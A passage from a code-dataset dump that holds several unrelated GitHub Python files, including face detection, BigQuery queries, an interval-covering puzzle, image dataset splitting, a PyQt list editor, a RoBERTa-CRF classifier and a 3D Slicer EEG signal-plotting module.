cv.CascadeClassifier('/home/skach/dev/facedet/cascade_17.xml')\n\nif (len(sys.argv) < 3):\n print(\"Usage: image_faceRec.py \")\n sys.exit(2)\nelse:\n img_path = sys.argv[1]\n out_path = sys.argv[2]\n img = cv.imread(img_path, 1)\n recognize(img, out_path)\n sys.exit(0)\n\n\n\n","repo_name":"balintskach/facedet","sub_path":"image_facedet.py","file_name":"image_facedet.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34815254318","text":"def undocumented(func: Callable) -> Callable:\n @functools.wraps(func)\n def __wrapped(*args, **kwargs):\n fname = func.__qualname__.split(\".\")\n if len(fname) == 2:\n log(logger.warning, fname[0], fname[1], f\"{Bo}{Y}Undocumented{E}\")\n else:\n mname = func.__globals__[\"__file__\"].split(\".\")\n log(logger.warning, mname[0], fname[0], f\"{Bo}{Y}Undocumented{E}\")\n return func(*args, **kwargs)\n\n return __wrapped\n","repo_name":"TimothyJAndrus/Wire","sub_path":"wire/helpers/undocumented.py","file_name":"undocumented.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71235984563","text":"\"\"\"\nget related object title in a security-aware way (without throwing exception\nif I don't have permissions to access the object)\n\"\"\"\n\ntitle_list = context.Base_getRelatedObjectTitleList(category, portal_type_list)\n\nif title_list:\n return title_list[0]\nelse:\n return ''\n\n# XXX-JPS What would be the problem in using getMyCategoryTitle() ?\n","repo_name":"Nexedi/erp5","sub_path":"bt5/erp5_dms/SkinTemplateItem/portal_skins/erp5_dms/Base_getRelatedObjectTitle.py","file_name":"Base_getRelatedObjectTitle.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"75"} +{"seq_id":"30278994264","text":"# This script runs a simple SQL query to retrieve\n# the top 5 rows from the 'orders' table.\n\nfrom bigquery_connect import client\n\n\ndef run_query(client):\n query = \"\"\"\n SELECT * \n FROM `bigqueryetl-387220.Superstore.Orders`\n LIMIT 5\n \"\"\"\n query_job = client.query(query) # Make an API request.\n\n results = list(query_job)\n\n for x in results:\n print(x)\n\n return results\n\n\n# Call the function\nresults = run_query(client)\n","repo_name":"nilaxan420/BigQueryETL","sub_path":"run_basic_query.py","file_name":"run_basic_query.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27583025153","text":"# Exercise 10-5. While input to file.\n\nfilename = 'poll.txt'\ndone = True\n\nwith open(filename, 'a') as file_object:\n while done:\n names = input('[send \"q\" to exit] What is your name? ')\n poll = input('[send \"q\" to exit] What do you like about programming? ')\n if names != 'q' or poll != 'q':\n file_object.write(names + ': ' + poll + '.' + '\\n')\n else:\n done = False\n","repo_name":"kengru/pcrash-course","sub_path":"chapter_010/exercises/programming_poll.py","file_name":"programming_poll.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"28585259967","text":"\"\"\"\nGiven a set of closed intervals, find the smallest set of numbers that covers\nall the intervals. If there are multiple smallest sets, return any of them.\n\nFor example, given the intervals [0, 3], [2, 6], [3, 4], [6, 9], one set of\nnumbers that covers all these intervals is {3, 6}.\n\"\"\"\n\n\ndef covering(l: list) -> set:\n \"\"\"Determine the smallest set that covers all intervals\"\"\"\n result = set()\n i = 0\n n = len(l)\n l.sort(key=lambda x: x[0])\n\n while i < n:\n # Iterate through the list of intervals that are NOT in the current\n # set\n interval = l[i]\n\n # Loop through the remaining intervals until one doesn't overlap\n while i < n:\n if intersecting(l[i], interval):\n # Recalculate the interval such that it just overlaps each\n interval = (max(l[i][0], interval[0]), min(l[i][1], interval[1]))\n i += 1\n else:\n print(\"Value not intersecting\")\n break\n\n result.add(interval[0])\n return result\n\n\ndef intersecting(x, y):\n \"\"\"Determine if x and y intersect\"\"\"\n return not (x[0] > y[1] or y[0] > x[1])\n\n\nif __name__ == '__main__':\n print(covering([[0, 3], [2, 6], [3, 4], [6, 9]]))\n print(covering([[0, 3], [1, 12], [2, 6], [3, 4], [6, 12], [13, 17]]))","repo_name":"DannyLee12/dcp","sub_path":"_2020/06_June/119.py","file_name":"119.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15292423298","text":"import os\nimport numpy as np\nfrom tqdm import tqdm\nimport pandas as pd\nimport shutil\n\n\"\"\"\nEllen Made\ndate: 2023.01.20 (server: miv2)\nedit:\n\n> 참고: posco AI 실습자료 > '00_01Docker Python Pandas lab.ppt'\n> to split the eyeq image source according by the label made by eyeQ \"https://github.com/HzFu/EyeQ/tree/master/data\"\n\n0. 이미 good[0]과 usable[1]은 각각 hq, lq로 나눠놓음\n1. reject[2]만 새로 만들기\n2. label 위치: eyeQ_ellen/data/Label_EyeQ_test.csv\"\n3. image 위치: miv2 server jieunoh/ellen_data/EyeQ/train_ori or test_ori \n\n\"\"\"\n\n# 0. setting \n# source ################\n# label\ncsv_test = \"/root/jieunoh/ellen_code/ISECRET/test.csv\"\ncsv_train = \"/root/jieunoh/ellen_code/ISECRET/train.csv\"\ncsv_val = \"/root/jieunoh/ellen_code/ISECRET/val.csv\"\n# image\nhigh_path = \"/root/jieunoh/ellen_data/isecret_eyeq_total_hq_512\"\nlow_path = \"/root/jieunoh/ellen_data/isecret_eyeq_total_lq_512\"\ndegrade_path =\"/root/jieunoh/ellen_data/isecret_eyeq_total_degrade1\"\n\n\n# new - generation ################\ngen_path = \"/root/jieunoh/ellen_data/0_cyclegan_input_isecretversion\"\nif not os.path.isdir(gen_path):\n os.makedirs(gen_path)\n\nprint(\"csv_train\",csv_train)\nprint(\"csv_val\",csv_val)\nprint(\"csv_test\",csv_test)\nprint(\"high_path\",high_path)\nprint(\"low_path\",low_path)\nprint(\"degrade_path\",degrade_path)\n\nprint(\"gen_path\",gen_path)\ninput(\"위의 값 확인후 enter 눌러서 진행 >>>\") \n\n\n###################################################################################\n# 1.train / val /test image name list가져오기 \ndf_train = pd.read_csv(csv_train) # dataframe 만들기\ntrain_low = df_train[df_train['label']==0]['name']\ntrain_high = df_train[df_train['label']==1]['name']\nprint(\"[trian] # of high:%d, low:%d\"%(len(train_high),len(train_low)))\n\ndf_val = pd.read_csv(csv_val) # dataframe 만들기\nval_low = df_val[df_val['label']==0]['name']\nval_high = df_val[df_val['label']==1]['name']\nprint(\"[val] # of high:%d, low:%d\"%(len(val_high),len(val_low)))\n\ndf_test = pd.read_csv(csv_test) # dataframe 만들기\ntest_low = df_test[df_test['label']==0]['name']\ntest_high = df_test[df_test['label']==1]['name']\nprint(\"[test] # of high:%d, low:%d\"%(len(test_high),len(test_low)))\n\n\n###################################################################################\n# 2. cycle gan input 구성 \n# 2-1. 폴더 만들기\nif not os.path.isdir(gen_path+\"/trainA\"):\n os.makedirs(gen_path+\"/trainA\")\n print(\"train path generated!\")\nif not os.path.isdir(gen_path+\"/valA\"):\n os.makedirs(gen_path+\"/valA\")\n print(\"val path generated!\")\nif not os.path.isdir(gen_path+\"/testA\"):\n os.makedirs(gen_path+\"/testA\")\n print(\"test path generated!\")\n\nif not os.path.isdir(gen_path+\"/trainB\"):\n os.makedirs(gen_path+\"/trainB\")\n print(\"train path generated!\")\nif not os.path.isdir(gen_path+\"/valB\"):\n os.makedirs(gen_path+\"/valB\")\n print(\"val path generated!\")\nif not os.path.isdir(gen_path+\"/testB\"):\n os.makedirs(gen_path+\"/testB\")\n print(\"test path generated!\")\n \n\n# 2-2. 데이터 옮기기 (train)\ncount =0 \nfor trian_low_img in tqdm(train_low):\n name=\"_\".join(trian_low_img.split(\".\")[0].split(\"_\")[0:2])\n for low in os.listdir(low_path):\n if low.startswith(name):\n source_path = os.path.join(low_path,low)\n copy_path = os.path.join(gen_path,\"trainA\",low)\n shutil.copy(source_path,copy_path)\n count +=1\nif len(train_low) == count :\n print(\"[trainA] matched !\")\n\ncount =0 \nfor trian_high_img in tqdm(train_high):\n name=\"_\".join(trian_high_img.split(\".\")[0].split(\"_\")[0:2])\n for high in os.listdir(high_path):\n if high.startswith(name):\n source_path = os.path.join(high_path,high)\n copy_path = os.path.join(gen_path,\"trainB\",high)\n shutil.copy(source_path,copy_path)\n count +=1\nif len(train_high) == count :\n print(\"[trainB] matched !\")\n\n\n\n# 2-2. 데이터 옮기기 (val)\n\ncount =0 \nfor val_low_img in tqdm(val_low):\n name=\"_\".join(val_low_img.split(\".\")[0].split(\"_\")[0:2])\n for low in os.listdir(low_path):\n if low.startswith(name):\n source_path = os.path.join(low_path,low)\n copy_path = os.path.join(gen_path,\"valA\",low)\n shutil.copy(source_path,copy_path)\n count +=1\nif len(val_low) == count :\n print(\"[valA] matched !\")\n\ncount =0 \nfor val_high_img in tqdm(val_high):\n name=\"_\".join(val_high_img.split(\".\")[0].split(\"_\")[0:2])\n for high in os.listdir(high_path):\n if high.startswith(name):\n source_path = os.path.join(high_path,high)\n copy_path = os.path.join(gen_path,\"valB\",high)\n shutil.copy(source_path,copy_path)\n count +=1\nif len(val_high) == count :\n print(\"[valB] matched !\")\n\n\n# 2-2. 데이터 옮기기 (test)\n\n\ncount =0 \nfor test_low_img in tqdm(test_low):\n name=\"_\".join(test_low_img.split(\".\")[0].split(\"_\")[0:2])\n for low in os.listdir(low_path):\n if low.startswith(name):\n source_path = os.path.join(low_path,low)\n copy_path = os.path.join(gen_path,\"testA\",low)\n shutil.copy(source_path,copy_path)\n count +=1\nif len(test_low) == count :\n print(\"[testA] matched !\")\n\ncount =0 \nfor test_high_img in tqdm(test_high):\n name=\"_\".join(test_high_img.split(\".\")[0].split(\"_\")[0:2])\n for high in os.listdir(high_path):\n if high.startswith(name):\n source_path = os.path.join(high_path,high)\n copy_path = os.path.join(gen_path,\"testB\",high)\n shutil.copy(source_path,copy_path)\n count +=1\nif len(test_high) == count :\n print(\"[testB] matched !\")\n\n","repo_name":"Nimbus1997/RetinaImage_MW","sub_path":"data_transform/input_isecret/isecret_paper_split.py","file_name":"isecret_paper_split.py","file_ext":"py","file_size_in_byte":5666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34430455198","text":"'''\n\n\n\n'''\n\nfrom ... import QtCore, QtGui\nfrom .. import ValueEditorMixin\n\n\nclass StrListValueEditor(QtGui.QWidget, ValueEditorMixin):\n def __init__(self, parent, controller, options):\n QtGui.QWidget.__init__(self, parent)\n\n self.item_name = options.get('item_name') or 'Item'\n\n self.presets = options.get('presets') or []\n \n self.setLayout(QtGui.QVBoxLayout())\n self.layout().setContentsMargins(0,0,0,0)\n self.layout().setSpacing(0)\n \n self.list = QtGui.QListWidget(self)\n self.list.setSelectionMode(self.list.ExtendedSelection)\n self.list.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)\n self.list.customContextMenuRequested.connect(self._on_menu)\n self.layout().addWidget(self.list)\n\n ValueEditorMixin.__init__(self, controller, options)\n \n def set_item_name(self, name):\n '''\n The given string will be used in menu and stuff.\n Default is 'Item'.\n '''\n self.item_name = name or 'Item'\n \n def _ui_widgets(self):\n return [self.list]\n\n def get_value(self):\n return [ str(self.list.item(i).text()) for i in range(self.list.count()) ]\n \n def set_value(self, value):\n ValueEditorMixin.set_value(self, value)\n \n if value is None:\n value = []\n if not isinstance(value, (list, tuple)):\n self.set_error('GUI ERROR: Not a tuple or list: %r'%(value,))\n value = []\n \n self.list.clear()\n self.list.addItems(value)\n \n def _set_edit_connections(self):\n pass\n\n def _set_read_only(self, b):\n self.list.setEnabled(not b)\n\n def _fill_menu(self, menu, current_item):\n menu.addAction('Add '+self.item_name, self._on_add)\n if current_item is not None:\n menu.addAction('Remove '+current_item.text(), self._on_menu_remove_selected)\n if self.presets:\n menu.addSeparator()\n for preset in self.presets:\n menu.addAction('Add '+str(preset), lambda v=str(preset):self._on_add_preset(v))\n \n def _on_menu(self, pos):\n menu = QtGui.QMenu(self)\n current_item = self.list.currentItem()\n self._fill_menu(menu, current_item)\n menu.exec_(self.mapToGlobal(pos))\n \n def _on_add(self, _=None):\n ids, ok = QtGui.QInputDialog.getText(\n self, 'Add %s:'%(self.item_name,), 'New %s (separate with space):'%(self.item_name,),\n )\n if not ok:\n return\n new_ids = list(set(ids.replace('-', '_').split(' ')))\n self.list.addItems(new_ids)\n self.edit_finished()\n \n def _on_add_preset(self, preset):\n self.list.addItem(preset)\n self.edit_finished()\n \n def _on_menu_remove_selected(self):\n selected_indexes = self.list.selectedIndexes()\n nb = len(selected_indexes)\n button = QtGui.QMessageBox.warning(\n self, 'Delete %s:'%(self.item_name,), 'Confirm Delete %d %s'%(nb, self.item_name,),\n QtGui.QMessageBox.Ok | QtGui.QMessageBox.Cancel, QtGui.QMessageBox.Cancel\n \n )\n if button != QtGui.QMessageBox.Ok:\n return\n selected_ids = [ self.list.itemFromIndex(i).text() for i in selected_indexes ]\n ids = [ \n self.list.item(i).text() \n for i in range(self.list.count()) \n if self.list.item(i).text() not in selected_ids\n ]\n self.list.clear()\n self.list.addItems(ids)\n self.edit_finished()\n ","repo_name":"mottosso/kabaret","sub_path":"kabaret/gui/widgets/value_editor/editors/strlist_value_editor.py","file_name":"strlist_value_editor.py","file_ext":"py","file_size_in_byte":3594,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"72241051121","text":"import torch\nfrom torch import nn\nfrom torch.nn import CrossEntropyLoss, BCEWithLogitsLoss\nfrom torchcrf import CRF\nfrom transformers import PreTrainedModel, AutoModel\nfrom transformers.models.roberta.modeling_roberta import RobertaClassificationHead\n\n\n# class MyModel(nn.Module):\n#\n# def __int__(self, encoder):\n# self.encoder = encoder\n#\n# def __call__(self, x):\n# return self.encoder(x)\n\n\n# class RobertaSimple(BertPreTrainedModel):\n# _keys_to_ignore_on_load_unexpected = [r\"pooler\"]\n#\n# def __init__(self, config):\n# super().__init__(config)\n# self.num_labels = config.num_labels\n#\n# self.bert = RobertaModel.from_pretrained(config, add_pooling_layer=False)\n# self.dropout = nn.Dropout(config.hidden_dropout_prob)\n# self.classifier = nn.Linear(config.hidden_size, config.num_labels)\n#\n# def forward(\n# self,\n# input_ids=None,\n# attention_mask=None,\n# token_type_ids=None,\n# position_ids=None,\n# head_mask=None,\n# inputs_embeds=None,\n# labels=None,\n# output_attentions=None,\n# output_hidden_states=None,\n# return_dict=None,\n# ):\n# r\"\"\"\n# labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):\n# Labels for computing the token classification loss. Indices should be in ``[0, ..., config.num_labels -\n# 1]``.\n# \"\"\"\n# return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n#\n# bs, ss, hs = input_ids.shape\n#\n# # input_ids.view()\n#\n# outputs = self.bert(\n# input_ids.view(bs * ss, hs),\n# attention_mask=attention_mask.view(bs * ss, hs),\n# token_type_ids=token_type_ids,\n# position_ids=position_ids,\n# head_mask=head_mask,\n# inputs_embeds=inputs_embeds,\n# output_attentions=output_attentions,\n# output_hidden_states=output_hidden_states,\n# return_dict=return_dict,\n# )\n#\n# sequence_output = outputs[0][:, 0, :]\n# sequence_output = self.dropout(sequence_output)\n# logits = self.classifier(sequence_output)\n# logits = logits.view(bs, ss, -1)\n#\n# loss = None\n# if labels is not None:\n# loss_fct = CrossEntropyLoss()\n# loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))\n# if not return_dict:\n# output = (logits,) + outputs[2:]\n# return ((loss,) + output) if loss is not None else output\n#\n# return SequenceClassifierOutput(\n# loss=loss,\n# logits=logits,\n# hidden_states=outputs.hidden_states,\n# attentions=outputs.attentions,\n# )\n#\n#\n\n\nclass Encoder(PreTrainedModel):\n def __init__(self, config=None):\n super().__init__(config)\n\n self.transformer = AutoModel.from_config(config)\n self.classifier = RobertaClassificationHead(config)\n\n def forward(self,\n input_ids=None,\n attention_mask=None,\n ):\n encoder_output = self.transformer(input_ids, attention_mask)\n return self.classifier(encoder_output[0])\n\n\nclass RobertaCRF(nn.Module):\n # _keys_to_ignore_on_load_unexpected = [r\"pooler\"]\n\n def __init__(self, encoder, crf):\n # super().__init__(config)\n super().__init__()\n self.encoder = encoder\n self.config = encoder.config\n self.num_labels = self.config.num_labels\n self.crf = crf\n if self.crf == 1:\n self.crf_tagger = CRF(num_tags=self.num_labels, batch_first=True)\n\n def forward(\n self,\n input_ids=None,\n attention_mask=None,\n token_type_ids=None,\n position_ids=None,\n head_mask=None,\n inputs_embeds=None,\n labels=None,\n output_attentions=None,\n output_hidden_states=None,\n return_dict=None,\n ):\n r\"\"\"\n labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):\n Labels for computing the token classification loss. Indices should be in ``[0, ..., config.num_labels -\n 1]``.\n \"\"\"\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n bs, ss, hs = input_ids.shape\n\n # input_ids.view()\n\n outputs = self.encoder(input_ids.view(bs * ss, hs), attention_mask.view(bs * ss, hs))\n\n logits = outputs.logits\n logits = logits.view(bs, ss, -1)\n\n loss = None\n if self.crf == 1:\n if labels is not None:\n log_likelihood, tags = self.crf_tagger(logits, labels.squeeze(-1)), self.crf_tagger.decode(logits)\n loss = 0 - log_likelihood\n else:\n tags = self.crf_tagger.decode(logits)\n\n tags = torch.Tensor(tags)\n\n if not return_dict:\n output = (tags,) + outputs[2:]\n return ((loss,) + output) if loss is not None else output\n\n return loss, tags\n else:\n if labels is not None:\n if not hasattr(self.config, 'problem_type') or self.config.problem_type is None:\n if self.num_labels > 1 and (labels.dtype == torch.long or labels.dtype == torch.int):\n self.config.problem_type = \"single_label_classification\"\n else:\n self.config.problem_type = \"multi_label_classification\"\n\n if self.config.problem_type == \"single_label_classification\":\n loss_fct = CrossEntropyLoss()\n loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))\n elif self.config.problem_type == \"multi_label_classification\":\n loss_fct = BCEWithLogitsLoss()\n loss = loss_fct(logits, labels)\n\n if self.config.problem_type == \"single_label_classification\":\n return loss, logits.argmax(-1)\n elif self.config.problem_type == 'multi_label_classification':\n return loss, torch.gt(logits, 0).int()\n","repo_name":"hadifar/DutchEmotionDetection","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"29497855995","text":"# -*- coding: UTF-8 -*-\nfrom __main__ import qt, slicer\nimport os\nimport math\nimport vtk\nimport json\nimport numpy\n\nclass PlotsDaubara:\n def __init__(self, parent):\n parent.title = 'PlotsDaubara'\n parent.icon = qt.QIcon(':Icons/Small/Tracker.png')\n self.parent = parent\n\nclass PlotsDaubaraWidget:\n def __init__(self, parent=None):\n self.observerTags = []\n if not parent:\n self.parent = slicer.qMRMLWidget()\n self.parent.setLayout(qt.QVBoxLayout())\n self.parent.setMRMLScene(slicer.mrmlScene)\n else:\n self.parent = parent\n self.layout = parent.layout()\n if not parent:\n #self.layout = self.parent.layout()\n self.setup()\n self.parent.show()\n #banderas\n\n # Variables globales\n self.StatusModifiedEvent = slicer.vtkMRMLCommandLineModuleNode()\\\n .StatusModifiedEvent\n self.Observations = []\n\n self.inc = 0.1\n self.seg = 0\n self.cnt = 0\n self.ce = 0\n\n def setup(self):\n self.logic = PlotsDaubaraLogic()\n # configuración de la interfaz gráfica\n loader = qt.QUiLoader()\n moduleName = 'PlotsDaubara'\n # devuelve la ruta del .py\n scriptedModulesPath = \\\n eval('slicer.modules.%s.path' % moduleName.lower())\n # lleva a la carpeta del modulo\n self.scriptedModulesPath = os.path.dirname(scriptedModulesPath)\n # devuelve la ruta del moduloName.ui\n path = os.path.join(self.scriptedModulesPath, 'Resources', 'UI', 'PlotsDaubara.ui')\n\n qfile = qt.QFile(path)\n qfile.open(qt.QFile.ReadOnly)\n widget = loader.load(qfile, self.parent)\n self.layout = self.parent.layout()\n self.widget = widget\n self.layout.addWidget(widget)\n\n # Conectar la escena con el widget\n self.widget.setMRMLScene(slicer.mrmlScene)\n\n #Obterner Botones\n self.label = self.get(\"label\")\n self.chartView = self.get(\"ChartView\")\n self.chartView.title = 'Señal EEG'\n self.label.setText(u\"Modulo para visualización de señales\")\n self.chartViewSEEG = self.get(\"cv_seeg\")\n self.chartViewSEEG.title = 'SEEG'\n self.chartViewSEEG.setMouseTracking(0)\n self.chartViewSEEG.setFixedHeight(200)\n self.plotSine()\n self.plotSEEG()\n #self.setupChartView()\n\n def plotSine(self):\n\n #chart = vtk.vtkChartXY()\n self.chart = self.chartView.chart()\n self.chart.SetShowLegend(False)\n\n #line.SetMarkerStyle(vtk.vtkPlotPoints.CROSS)\n #pl = vtk.vtkPlotLine()\n #self.chartView.addPlot(pl)\n # create a table with some points in it\n self.table = vtk.vtkTable()\n\n arrX = vtk.vtkFloatArray()\n arrX.SetName('x')\n\n arrS = vtk.vtkFloatArray()\n arrS.SetName('Sine')\n\n self.table.AddColumn(arrS)\n self.table.AddColumn(arrX)\n\n # cargar los coeficientes\n fileJson = os.path.join(self.scriptedModulesPath,'Datos','Coeficientes','coeff_ar.json')\n #nombreJson = \"/home/jhon/Dropbox/Trabajo_GIBIC/SimuladorNeuroFuncional/SignalsEEG/coeff_ar.json\"\n os.path.exists(fileJson)\n\n jsonData = open(fileJson)\n data = json.load(jsonData)\n jsonData.close()\n\n ECR1_clean = data['Clean_ECR1'] # Tamaño 129x24.\n \n canal = 58 # Cambiar canal. El numero del canal a simular y graficar es (canal+1), los indices comienzan en cero.\n\n channel = ECR1_clean[canal][:]\n print (\"valores del canal\")\n print(channel)\n\n cont = 0\n ch = []\n for j in channel:\n if not numpy.isnan(j):\n ch.insert( cont, j)\n cont = cont + 1\n # Convierte lista a numpy array.\n self.ch = numpy.array(ch)\n # Simulación señal EEG.\n numPoints = 1001\n\n # Vector de ruido (White Noise)\n # Longitud señal 201 datos.\n self.VectorNoise = math.sqrt(ch[2])*numpy.random.normal(0.0, 1.0, numPoints)\n #VectorNoise = numpy.random.normal(0, 1.0, 201)\n\n self.sim_senal = range(numPoints) # 1000 datos son 10 seg. original 201\n self.coeff = ch[4:]\n\n # fill the table with some example values\n\n self.inc = 10.0 / (numPoints - 1)\n self.table.SetNumberOfRows(numPoints)\n for k in range(0, numPoints):\n sim = 0\n for i in (range(self.ch[1].astype(numpy.int64))):\n if (k > i):\n sim = sim - (self.coeff[i]*self.sim_senal[k-i-1])\n self.sim_senal[k] = sim + self.VectorNoise[k]\n\n self.table.SetValue(k, 0, k * self.inc)\n self.table.SetValue(k, 1, self.sim_senal[k])\n #print (k*inc)\n #print (sim_senal[k])\n\n self.line = self.chart.AddPlot(vtk.vtkChart.LINE)\n #line = vtk.vtkPlotLine()\n self.line.SetInput(self.table, 0, 1)\n self.line.SetColor(0, 0, 0, 255)\n self.line.SetWidth(1.0)\n # cambiar el legend de los ejes\n self.line.GetXAxis().SetTitle(\"Tiempo (s)\")\n self.line.GetYAxis().SetTitle(\"Amplitud\")\n #line.Update()\n self.chartView.addPlot(self.line)\n\n #self.setupTimer()\n \n def plotSEEG(self):\n \n #chart = vtk.vtkChartXY()\n self.chartSEEG = self.chartViewSEEG.chart()\n self.chartSEEG.SetShowLegend(False)\n \n #line.SetMarkerStyle(vtk.vtkPlotPoints.CROSS)\n #pl = vtk.vtkPlotLine()\n #self.chartView.addPlot(pl)\n # create a table with some points in it\n self.tableSEEG = vtk.vtkTable()\n \n arrX = vtk.vtkFloatArray()\n arrX.SetName('x')\n \n arrS = vtk.vtkFloatArray()\n arrS.SetName('SEEG')\n \n self.tableSEEG.AddColumn(arrS)\n self.tableSEEG.AddColumn(arrX)\n \n # Simulación señal EEG.\n self.a,self.b = self.leerCoeficientes()\n self.simularTotal(self.a,self.b,1,[0])\n y = len(self.EEGSimulTotal)\n x = len(self.tiempo)\n #print (y,x)\n self.tableSEEG.SetNumberOfRows(y)\n for k in range(0,y):\n self.tableSEEG.SetValue(k,0,self.tiempo[k])\n self.tableSEEG.SetValue(k,1,self.EEGSimulTotal[k])\n \n self.lineSEEG = self.chartSEEG.AddPlot(vtk.vtkChart.LINE)\n #line = vtk.vtkPlotLine()\n self.lineSEEG.SetInput(self.tableSEEG, 0, 1)\n self.lineSEEG.SetColor(0, 0, 0, 255)\n self.lineSEEG.SetWidth(1.0)\n # cambiar el legend de los ejes\n self.lineSEEG.GetXAxis().SetTitle(\"Tiempo (s)\")\n self.lineSEEG.GetYAxis().SetTitle(\"Amplitud\")\n #line.Update()\n self.chartViewSEEG.addPlot(self.lineSEEG)\n self.setupTimerSEEG()\n \n def setupTimerSEEG(self):\n self.timerSEEG = qt.QTimer()\n self.timerSEEG.timeout.connect(self.plotSEEGDynamic)\n self.timerSEEG.setInterval(5000)\n self.timerSEEG.start()\n \n def plotSEEGDynamic(self):\n #print \"plot\"\n # Simulación señal EEG.\n self.chartSEEG.RemovePlot(0)\n #borra\n t0 = time.clock()\n self.simularTotal(self.a,self.b,1,[0])\n t1 = time.clock()-t0\n #print t1\n #self.signalSEEG = numpy.random.normal(0,1.0,220500)\n \n \n #print self.ce\n \n## if self.ce == 220500:\n## self.ce = 0\n## y = len(self.signalSEEG)\n## for k in range(self.ce,self.ce+22050):\n## self.tableSEEG.SetValue(k,0,k/22050.0)\n## self.tableSEEG.SetValue(k,1,numpy.random.rand())\n## self.ce += 22050\n\n y = len(self.EEGSimulTotal)\n## x = len(tiempo)\n## print (y,x)\n\n for k in range(0,y):\n self.tableSEEG.SetValue(k,0,self.tiempo[k])\n self.tableSEEG.SetValue(k,1,self.EEGSimulTotal[k])\n\n line = self.chartSEEG.AddPlot(0)\n line.SetWidth(0.5)\n line.SetInput(self.tableSEEG, 0, 1)\n\n \n def setupTimer(self):\n self.timer = qt.QTimer()\n self.timer.timeout.connect(self.plotwithTimer)\n self.timer.setInterval(self.inc)\n self.timer.start()\n\n def plotwithTimer(self):\n self.chart.RemovePlot(0)\n\n # aumenta el contador\n self.cnt += 1\n # eliminamos el primer valor del vector\n self.sim_senal = self.sim_senal[1:]\n # agremos un valor nuevo al final\n sim = 0\n for i in (range(self.ch[1].astype(numpy.int64))):\n if (self.cnt > i):\n sim = sim - (self.coeff[i] * self.sim_senal[self.cnt - i - 1])\n sim = 15 if (sim > 15) else (-15 if sim < - 15 else sim)\n self.sim_senal.append(sim + self.VectorNoise[self.cnt])\n \n # se redimensiona la tabla\n \n for i in range(0, 1001):\n self.table.SetValue(i, 0, i * self.inc)\n self.table.SetValue(i, 1, self.sim_senal[i])\n if self.cnt > 1:\n line = self.chart.AddPlot(0)\n line.SetInput(self.table, 0, 1)\n \n if self.cnt == 1000:\n self.cnt = 0\n \n def leerCoeficientes(self):\n # cargar los coeficientes\n aFile = os.path.join(self.scriptedModulesPath,'Datos','Coeficientes','sujeto1_dystonia_gpe.json')\n bFile = os.path.join(self.scriptedModulesPath,'Datos','Coeficientes','sujeto1_dystonia_gpe_transiente.json')\n \n if (os.path.exists(aFile) and os.path.exists(bFile)):\n ajson = open(aFile)\n bjson = open(bFile)\n \n a = json.load(ajson)\n b = json.load(bjson)\n \n ajson.close()\n bjson.close()\n return a,b\n \n def simularSeeg(self,coef_AR, orderModel, noise, timeSimul, fs):\n \"\"\"\n signalSimul = simularSeeg(coef_AR, orderModel, noise, timeSimul,fs)\n Función que genera una señal de EEG a partir de los parámetros de modelo AR\n Variables de entrada:\n coef_AR - Parámetros del modelo AR, vector.\n orderModel - Orden del modelo AR, escalar.\n noise - Información del ruido del proceso. Si es un escalar\n representa la varianza del ruido, si es un vector\n corresponde al ruido blanco del proceso. \n timeSimul - Tiempo que se simulara la señal EEG en segundos,\n # escalar.\n fs - frecuencia de muestreo de la señal EEG original, escalar. \n Variable de salida:\n signalSimul - Señal EEG simulada, vector.\n #time - tiempo de simulación de la señal EEG, vector. #deshabilitado\n \"\"\"\n time = numpy.linspace(0,timeSimul,timeSimul*fs)\n length_time = len(time)\n whiteNoise = numpy.sqrt(noise)*numpy.random.normal(0,1,length_time)\n \n signalSimul = numpy.zeros(length_time)\n \n for k in range(length_time):\n simul = 0\n for i in range(orderModel):\n if k > i:\n simul = simul - coef_AR[i]*signalSimul[k-i-1]\n signalSimul[k] = simul + whiteNoise[k]\n return signalSimul\n\n def simularTotal(self,a,b,tiempoSimulacion=10,EEGSimulTotal=[0]):\n fs = a[\"fs\"]\n while len(EEGSimulTotal) <= (tiempoSimulacion*fs):\n #--------------------------------------------------------------------------\n # simulación segmento corto.\n segm_EEGsimul= [0]\n segm_t = (0.2*numpy.random.rand()) + 0.2\n while (len(segm_EEGsimul) <= (segm_t*fs)):\n t = (0.003*numpy.random.rand()) + 0.001\n segm_EEGsimul1 = self.simularSeeg(a[\"coef_AR\"],a[\"ordenModelo\"], a[\"varianzaRuido\"], t, a[\"fs\"])\n \n t = (0.0003 *numpy.random.rand()) + 0.0007\n segm_EEGsimul2 = self.simularSeeg(b[\"coef_AR\"],b[\"ordenModelo\"], b[\"varianzaRuido\"], t, b[\"fs\"])\n segm_EEGsimul = numpy.concatenate((segm_EEGsimul, segm_EEGsimul1, segm_EEGsimul2))\n #--------------------------------------------------------------------------\n \n #--------------------------------------------------------------------------\n # Simulación segmento largo.\n timeSimul1 = (0.2 *numpy.random.rand()) + 0.3\n EEGsimul1 = [0]\n while (len(EEGsimul1) <= timeSimul1*fs):\n t = (0.001*numpy.random.rand()) + 0.004\n EEGsimul_A = self.simularSeeg(a[\"coef_AR\"], 